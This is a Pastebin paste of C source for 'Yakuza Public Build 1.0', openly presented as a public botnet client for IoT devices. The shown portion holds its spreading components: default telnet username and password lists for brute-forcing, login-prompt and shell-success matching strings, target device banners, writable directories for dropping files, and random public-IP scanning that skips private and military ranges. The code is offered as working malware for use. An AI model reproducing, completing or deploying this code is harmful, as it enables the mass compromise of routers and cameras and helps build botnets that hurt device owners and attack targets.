API tools faq
paste
Advertisement
Guest User

client

a guest
Dec 13th, 2018
327
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 56.17 KB | None | 0 0
raw download clone embed print report
  1. // Yakuza Public Build 1.0
  2.  
  3. // Made to be the best & most used public bot.
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <stdio.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>  
  10. #include <arpa/inet.h>
  11. #include <netdb.h>
  12. #include <signal.h>                                                      
  13. #include <strings.h>                                                      
  14. #include <sys/utsname.h>
  15. #include <unistd.h>
  16. #include <fcntl.h>
  17. #include <errno.h>
  18. #include <netinet/ip.h>
  19. #include <netinet/udp.h>
  20. #include <netinet/tcp.h>
  21. #include <sys/wait.h>
  22. #include <sys/ioctl.h>
  23. #include <net/if.h>
  24. #include <time.h>
  25. #include <dirent.h>
  26. #include <limits.h>
  27. #include <sys/stat.h>
  28. #include <sys/time.h>
  29. #include <string.h>
  30. #include <stdint.h>
  31. #include <stdio.h>
  32. #include <sys/param.h>
  33. #include <sys/time.h>
  34.  
  35. #define PHI 0x9e3779b9
  36. #define PR_SET_NAME 15
  37. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  38. #define PAD_RIGHT 1
  39. #define PAD_ZERO 2
  40. #define PRINT_BUF_LEN 12
  41. #define CMD_IAC   255
  42. #define CMD_WILL  251
  43. #define CMD_WONT  252
  44. #define CMD_DO    253
  45. #define CMD_DONT  254
  46. #define OPT_SGA   3
  47. #define SOCKBUF_SIZE 1024
  48. #define STD2_SIZE 69
  49. #define Version  "Yakuza Build 1.0"
  50.  
  51. //--------------------------------------------------------------------------------------------------------------------------------------
  52. //--------------------------------------------------------------------------------------------------------------------------------------
  53. //--------------------------------------------------------------------------------------------------------------------------------------
  54.  
  55.  
  56.  
  57.  
  58.  
  59. char *tel_usernames[] =
  60. {
  61.     "root\0",
  62.     "admin\0",
  63.     "user\0",
  64.     "login\0",
  65.     "guest\0",
  66.     "support\0"
  67. };
  68.    
  69. char *tel_passwords[] =
  70. {
  71.     "root\0",
  72.     "admin\0",
  73.     "user\0",
  74.     "login\0",
  75.     "guest\0",
  76.     "support\0"
  77. };
  78.  
  79. //--------------------------------------------------------------------------------------------------------------------------------------
  80. //--------------------------------------------------------------------------------------------------------------------------------------
  81. //--------------------------------------------------------------------------------------------------------------------------------------
  82.  
  83. char *tempdirs[] = {"/tmp/*", "/var/*", "/var/run/*", "/var/tmp/*", "/dev/netslink/*", "/dev/*", "/dev/shm/*", "/usr/*", "/opt/*",  (char*) 0};
  84. char *advances[] = {"mdm9625", "9615-cdp", "F600", "F660", "F609", "BCM", ":", "user", "ogin", "name", "pass", "dvrdvs", "nter", "User", "welcome",  (char*)0};                                                                                    
  85. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "ailure", "bye", "exit", (char*)0};                                                      
  86. char *successes[] = {"busybox", "$", "#", "shell", "dvrdvs", "mdm9625", "9615-cdp", "F600", "F660", "F609", ">", "version", "v", "system", "command", "help", "BCM", (char*)0};                                                                                                    
  87. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  88.  
  89. struct telstate_t {
  90.         int fd;
  91.         unsigned int ip;
  92.         unsigned char state;
  93.         unsigned char complete;
  94.         unsigned char usernameInd;  /* username     */
  95.         unsigned char passwordInd;  /* password     */
  96.         unsigned char tempdirsInd;  /* tempdir      */
  97.         unsigned int tTimeout;      /* totalTimeout */
  98.         unsigned short bufUsed;
  99.         char *sockbuf;
  100. };
  101. int initConnection();
  102. void makeRandomStr(unsigned char *buf, int length);
  103. int sockprintf(int sock, char *formatStr, ...);
  104. char *inet_ntoa(struct in_addr in);
  105. int mainCommSock = 0, currentServer = -1;
  106. uint32_t *pids;
  107. uint32_t scanPid;
  108. uint64_t numpids = 0;
  109. struct in_addr ourIP;
  110. unsigned char macAddress[6] = {0};
  111.  
  112. char *getBuild() {
  113. #if defined(__x86_64__) || defined(_M_X64)
  114.     return "x86_64";
  115. #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86_)
  116.     return "x86_32";
  117. #elif defined(__ARM_ARCH_2__)
  118.     return "ARM2";
  119. #elif defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__)
  120.     return "ARM3";
  121. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  122.     return "ARM4T";
  123. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  124.     return "ARM5"
  125. #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_)
  126.     return "ARM6T2";
  127. #elif defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__)
  128.     return "ARM6";
  129. #elif defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7S__)
  130.     return "ARM7";
  131. #elif defined(__aarch64__)
  132.     return "ARM64";
  133. #elif defined(mips) || defined(__mips__) || defined(__mips)
  134.     return "MIPS";
  135. #elif defined(__sh__)
  136.     return "SUPERH";
  137. #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64)
  138.     return "POWERPC";
  139. #elif defined(__sparc__) || defined(__sparc)
  140.     return "SPARC";
  141. #elif defined(__m68k__)
  142.     return "M68K";
  143. #else
  144.     return "UNKNOWN";
  145. #endif
  146. }
  147. const char *uagents[] = {
  148.     "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",
  149.     "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  150.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  151.     "TheSuBot/0.2 (www.thesubot.de)",
  152.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  153.     "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  154.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  155.     "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  156.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  157.     "zspider/0.9-dev http://feedback.redkolibri.com/",
  158.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  159.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  160.     "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  161.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  162.     "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  163.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)",
  164.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
  165.     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  166.     "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
  167.     "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  168.     "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  169.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)",
  170.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  171.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  172.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  173.     "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  174.     "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  175.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  176.     "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  177.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  178.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  179.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  180.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00",
  181.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  182.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  183.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)",
  184.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
  185.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)",
  186.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  187.     "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  188.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  189.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0",
  190.     "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
  191.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
  192.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  193.     "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  194.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  195.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  196.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01",
  197.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  198.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  199.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  200.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  201.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  202.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  203.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  204.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  205.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
  206.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
  207. };
  208.            
  209. static uint32_t Q[4096], c = 362436;
  210. void init_rand(uint32_t x) {
  211.         int i;
  212.         Q[0] = x;
  213.         Q[1] = x + PHI;
  214.         Q[2] = x + PHI + PHI;
  215.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  216. }
  217. uint32_t rand_cmwc(void) {
  218.         uint64_t t, a = 18782LL;
  219.         static uint32_t i = 4095;
  220.         uint32_t x, r = 0xfffffffe;
  221.         i = (i + 1) & 4095;
  222.         t = a * Q[i] + c;
  223.         c = (uint32_t)(t >> 32);
  224.         x = t + c;
  225.         if (x < c) {
  226.                 x++;
  227.                 c++;
  228.         }
  229.         return (Q[i] = r - x);
  230. }
  231. int contains_string(char* buffer, char** strings) {
  232.         int num_strings = 0, i = 0;
  233.         for(num_strings = 0; strings[++num_strings] != 0; );
  234.         for(i = 0; i < num_strings; i++) {
  235.                 if(strcasestr(buffer, strings[i])) {
  236.                         return 1;
  237.                 }
  238.         }
  239.         return 0;
  240. }
  241. int contains_success(char* buffer) {
  242.         return contains_string(buffer, successes);
  243. }
  244. int contains_fail(char* buffer) {
  245.         return contains_string(buffer, fails);
  246. }
  247. int contains_response(char* buffer) {
  248.         return contains_success(buffer) || contains_fail(buffer);
  249. }
  250. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {      
  251.         fd_set read_set;
  252.         struct timeval tv;
  253.         tv.tv_sec = 0;
  254.         tv.tv_usec = timeout_usec;
  255.         FD_ZERO(&read_set);
  256.         FD_SET(fd, &read_set);
  257.         if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  258.         return 0;
  259.         return recv(fd, buffer, buf_size, 0);
  260. }
  261. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  262.         int num_bytes, i;
  263.         memset(buffer, 0, buf_size);
  264.         num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  265.         if(buffer[0] == 0xFF) {
  266.                 negotiate(fd, buffer, 3);
  267.         }
  268.  
  269.         if(contains_string(buffer, strings)) {
  270.                 return 1;
  271.         }
  272.  
  273.         return 0;
  274. }
  275. const char* get_telstate_host(struct telstate_t* telstate) { // get host
  276.         struct in_addr in_addr_ip;
  277.         in_addr_ip.s_addr = telstate->ip;
  278.         return inet_ntoa(in_addr_ip);
  279. }
  280. void advance_telstate(struct telstate_t* telstate, int new_state) { // advance
  281.         if(new_state == 0) {
  282.                 close(telstate->fd);
  283.         }
  284.         telstate->tTimeout = 0;
  285.         telstate->state = new_state;
  286.         memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
  287. }
  288. void reset_telstate(struct telstate_t* telstate) { // reset
  289.         advance_telstate(telstate, 0);
  290.         telstate->complete = 1;
  291. }
  292. void trim(char *str) {
  293.         int i;
  294.         int begin = 0;
  295.         int end = strlen(str) - 1;
  296.  
  297.         while (isspace(str[begin])) begin++;
  298.  
  299.         while ((end >= begin) && isspace(str[end])) end--;
  300.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  301.  
  302.         str[i - begin] = '\0';
  303. }
  304. static void printchar(unsigned char **str, int c) {
  305.         if (str) {
  306.                 **str = c;
  307.                 ++(*str);
  308.         }
  309.         else (void)write(1, &c, 1);
  310. }
  311. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  312.         register int pc = 0, padchar = ' ';
  313.         if (width > 0) {
  314.                 register int len = 0;
  315.                 register const unsigned char *ptr;
  316.                 for (ptr = string; *ptr; ++ptr) ++len;
  317.                 if (len >= width) width = 0;
  318.                 else width -= len;
  319.                 if (pad & PAD_ZERO) padchar = '0';
  320.         }
  321.         if (!(pad & PAD_RIGHT)) {
  322.                 for ( ; width > 0; --width) {
  323.                         printchar (out, padchar);
  324.                         ++pc;
  325.                 }
  326.         }
  327.         for ( ; *string ; ++string) {
  328.                 printchar (out, *string);
  329.                 ++pc;
  330.         }
  331.         for ( ; width > 0; --width) {
  332.                 printchar (out, padchar);
  333.                 ++pc;
  334.         }
  335.         return pc;
  336. }
  337. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  338.         unsigned char print_buf[PRINT_BUF_LEN];
  339.         register unsigned char *s;
  340.         register int t, neg = 0, pc = 0;
  341.         register unsigned int u = i;
  342.         if (i == 0) {
  343.                 print_buf[0] = '0';
  344.                 print_buf[1] = '\0';
  345.                 return prints (out, print_buf, width, pad);
  346.         }
  347.         if (sg && b == 10 && i < 0) {
  348.                 neg = 1;
  349.                 u = -i;
  350.         }
  351.  
  352.         s = print_buf + PRINT_BUF_LEN-1;
  353.         *s = '\0';
  354.         while (u) {
  355.                 t = u % b;
  356.                 if( t >= 10 )
  357.                 t += letbase - '0' - 10;
  358.                 *--s = t + '0';
  359.                 u /= b;
  360.         }
  361.         if (neg) {
  362.                 if( width && (pad & PAD_ZERO) ) {
  363.                         printchar (out, '-');
  364.                         ++pc;
  365.                         --width;
  366.                 }
  367.                 else {
  368.                         *--s = '-';
  369.                 }
  370.         }
  371.  
  372.         return pc + prints (out, s, width, pad);
  373. }
  374. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  375.         register int width, pad;
  376.         register int pc = 0;
  377.         unsigned char scr[2];
  378.         for (; *format != 0; ++format) {
  379.                 if (*format == '%') {
  380.                         ++format;
  381.                         width = pad = 0;
  382.                         if (*format == '\0') break;
  383.                         if (*format == '%') goto out;
  384.                         if (*format == '-') {
  385.                                 ++format;
  386.                                 pad = PAD_RIGHT;
  387.                         }
  388.                         while (*format == '0') {
  389.                                 ++format;
  390.                                 pad |= PAD_ZERO;
  391.                         }
  392.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  393.                                 width *= 10;
  394.                                 width += *format - '0';
  395.                         }
  396.                         if( *format == 's' ) {
  397.                                 register char *s = (char *)va_arg( args, int );
  398.                                 pc += prints (out, s?s:"(null)", width, pad);
  399.                                 continue;
  400.                         }
  401.                         if( *format == 'd' ) {
  402.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  403.                                 continue;
  404.                         }
  405.                         if( *format == 'x' ) {
  406.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  407.                                 continue;
  408.                         }
  409.                         if( *format == 'X' ) {
  410.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  411.                                 continue;
  412.                         }
  413.                         if( *format == 'u' ) {
  414.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  415.                                 continue;
  416.                         }
  417.                         if( *format == 'c' ) {
  418.                                 scr[0] = (unsigned char)va_arg( args, int );
  419.                                 scr[1] = '\0';
  420.                                 pc += prints (out, scr, width, pad);
  421.                                 continue;
  422.                         }
  423.                 }
  424.                 else {
  425. out:
  426.                         printchar (out, *format);
  427.                         ++pc;
  428.                 }
  429.         }
  430.         if (out) **out = '\0';
  431.         va_end( args );
  432.         return pc;
  433. }
  434. int zprintf(const unsigned char *format, ...) {
  435.         va_list args;
  436.         va_start( args, format );
  437.         return print( 0, format, args );
  438. }
  439. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  440.         va_list args;
  441.         va_start( args, format );
  442.         return print( &out, format, args );
  443. }
  444. int sockprintf(int sock, char *formatStr, ...) {
  445.         unsigned char *textBuffer = malloc(2048);
  446.         memset(textBuffer, 0, 2048);
  447.         char *orig = textBuffer;
  448.         va_list args;
  449.         va_start(args, formatStr);
  450.         print(&textBuffer, formatStr, args);
  451.         va_end(args);
  452.         orig[strlen(orig)] = '\n';
  453.         zprintf("%s\n", orig);
  454.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  455.         free(orig);
  456.         return q;
  457. }
  458. int wildString(const unsigned char* pattern, const unsigned char* string) {
  459.         switch(*pattern) {
  460.         case '\0': return *string;
  461.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  462.         case '?': return !(*string && !wildString(pattern+1, string+1));
  463.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  464.         }
  465. }
  466. int getHost(unsigned char *toGet, struct in_addr *i) {
  467.         struct hostent *h;
  468.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  469.         return 0;
  470. }
  471. void makeRandomStr(unsigned char *buf, int length) {
  472.         int i = 0;
  473.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  474. }
  475. int recvLine(int socket, unsigned char *buf, int bufsize) {
  476.         memset(buf, 0, bufsize);
  477.         fd_set myset;
  478.         struct timeval tv;
  479.         tv.tv_sec = 30;
  480.         tv.tv_usec = 0;
  481.         FD_ZERO(&myset);
  482.         FD_SET(socket, &myset);
  483.         int selectRtn, retryCount;
  484.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  485.                 while(retryCount < 10) {
  486.                         tv.tv_sec = 30;
  487.                         tv.tv_usec = 0;
  488.                         FD_ZERO(&myset);
  489.                         FD_SET(socket, &myset);
  490.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  491.                                 retryCount++;
  492.                                 continue;
  493.                         }
  494.                         break;
  495.                 }
  496.         }
  497.         unsigned char tmpchr;
  498.         unsigned char *cp;
  499.         int count = 0;
  500.         cp = buf;
  501.         while(bufsize-- > 1) {
  502.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  503.                         *cp = 0x00;
  504.                         return -1;
  505.                 }
  506.                 *cp++ = tmpchr;
  507.                 if(tmpchr == '\n') break;
  508.                 count++;
  509.         }
  510.         *cp = 0x00;
  511.         return count;
  512. }
  513. int connectTimeout(int fd, char *host, int port, int timeout) {
  514.         struct sockaddr_in dest_addr;
  515.         fd_set myset;
  516.         struct timeval tv;
  517.         socklen_t lon;
  518.         int valopt;
  519.         long arg = fcntl(fd, F_GETFL, NULL);
  520.         arg |= O_NONBLOCK;
  521.         fcntl(fd, F_SETFL, arg);
  522.         dest_addr.sin_family = AF_INET;
  523.         dest_addr.sin_port = htons(port);
  524.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  525.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  526.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  527.         if (res < 0) {
  528.                 if (errno == EINPROGRESS) {
  529.                         tv.tv_sec = timeout;
  530.                         tv.tv_usec = 0;
  531.                         FD_ZERO(&myset);
  532.                         FD_SET(fd, &myset);
  533.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  534.                                 lon = sizeof(int);
  535.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  536.                                 if (valopt) return 0;
  537.                         }
  538.                         else return 0;
  539.                 }
  540.                 else return 0;
  541.         }
  542.         arg = fcntl(fd, F_GETFL, NULL);
  543.         arg &= (~O_NONBLOCK);
  544.         fcntl(fd, F_SETFL, arg);
  545.         return 1;
  546. }
  547. int listFork() {
  548.         uint32_t parent, *newpids, i;
  549.         parent = fork();
  550.         if (parent <= 0) return parent;
  551.         numpids++;
  552.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  553.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  554.         newpids[numpids - 1] = parent;
  555.         free(pids);
  556.         pids = newpids;
  557.         return parent;
  558. }
  559. int negotiate(int sock, unsigned char *buf, int len) {
  560.         unsigned char c;
  561.         switch (buf[1]) {
  562.         case CMD_IAC: return 0;
  563.         case CMD_WILL:
  564.         case CMD_WONT:
  565.         case CMD_DO:
  566.         case CMD_DONT:
  567.                 c = CMD_IAC;
  568.                 send(sock, &c, 1, MSG_NOSIGNAL);
  569.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  570.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  571.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  572.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  573.                 send(sock, &c, 1, MSG_NOSIGNAL);
  574.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  575.                 break;
  576.         default:
  577.                 break;
  578.         }
  579.  
  580.         return 0;
  581. }
  582. int matchPrompt(char *bufStr) {
  583.         char *prompts = ":>%$#\0";
  584.         int bufLen = strlen(bufStr);
  585.         int i, q = 0;
  586.         for(i = 0; i < strlen(prompts); i++) {
  587.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  588.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  589.         }
  590.         return 0;
  591. }
  592. in_addr_t getRandomPublicIP() {
  593.         static uint8_t ipState[4] = {0};
  594.         ipState[0] = rand() % 223;
  595.         ipState[1] = rand() % 255;
  596.         ipState[2] = rand() % 255;
  597.         ipState[3] = rand() % 255;
  598.         while(
  599.                 (ipState[0] == 0) ||
  600.                 (ipState[0] == 10) ||
  601.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  602.                 (ipState[0] == 127) ||
  603.                 (ipState[0] == 169 && ipState[1] == 254) ||
  604.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  605.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  606.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  607.                 (ipState[0] == 192 && ipState[1] == 168) ||
  608.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  609.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  610.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  611.                 (ipState[0] >= 224)
  612.         )
  613.         {
  614.                 ipState[0] = rand() % 223;
  615.                 ipState[1] = rand() % 255;
  616.                 ipState[2] = rand() % 255;
  617.                 ipState[3] = rand() % 255;
  618.         }
  619.         char ip[16] = {0};
  620.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  621.         return inet_addr(ip);
  622. }
  623.  
  624. in_addr_t TelnetIPRanges()
  625. {
  626.         static uint8_t ipState[4] = {0};
  627.         ipState[0] = rand() % 223;
  628.         ipState[1] = rand() % 255;
  629.         ipState[2] = rand() % 255;
  630.         ipState[3] = rand() % 255;
  631.         while(
  632.                 (ipState[0] == 127) ||                                         // 127.0.0.0/8      - Loopback
  633.                 (ipState[0] == 0) ||                                           // 0.0.0.0/8        - Invalid address space
  634.                 (ipState[0] == 3) ||                                           // 3.0.0.0/8        - General Electric Company
  635.                 (ipState[0] == 15 || ipState[0] == 16) ||                      // 15.0.0.0/7       - Hewlett-Packard Company
  636.                 (ipState[0] == 56) ||                                          // 56.0.0.0/8       - US Postal Service
  637.                 (ipState[0] == 10) ||                                          // 10.0.0.0/8       - Internal network
  638.                 (ipState[0] == 192 && ipState[1] == 168) ||                    // 192.168.0.0/16   - Internal network
  639.                 (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) ||  // 172.16.0.0/14    - Internal network
  640.                 (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10    - IANA NAT reserved
  641.                 (ipState[0] == 169 && ipState[1] > 254) ||                     // 169.254.0.0/16   - IANA NAT reserved
  642.                 (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) ||  // 198.18.0.0/15    - IANA Special use
  643.                 (ipState[0] == 224) ||                                         // 224.*.*.*+       - Multicast
  644.                 (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  645.         )
  646.         {
  647.                 ipState[0] = rand() % 223;
  648.                 ipState[1] = rand() % 255;
  649.                 ipState[2] = rand() % 255;
  650.                 ipState[3] = rand() % 255;
  651.         }
  652.         char ip[16] = {0};
  653.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  654.         return inet_addr(ip);
  655. }
  656.  
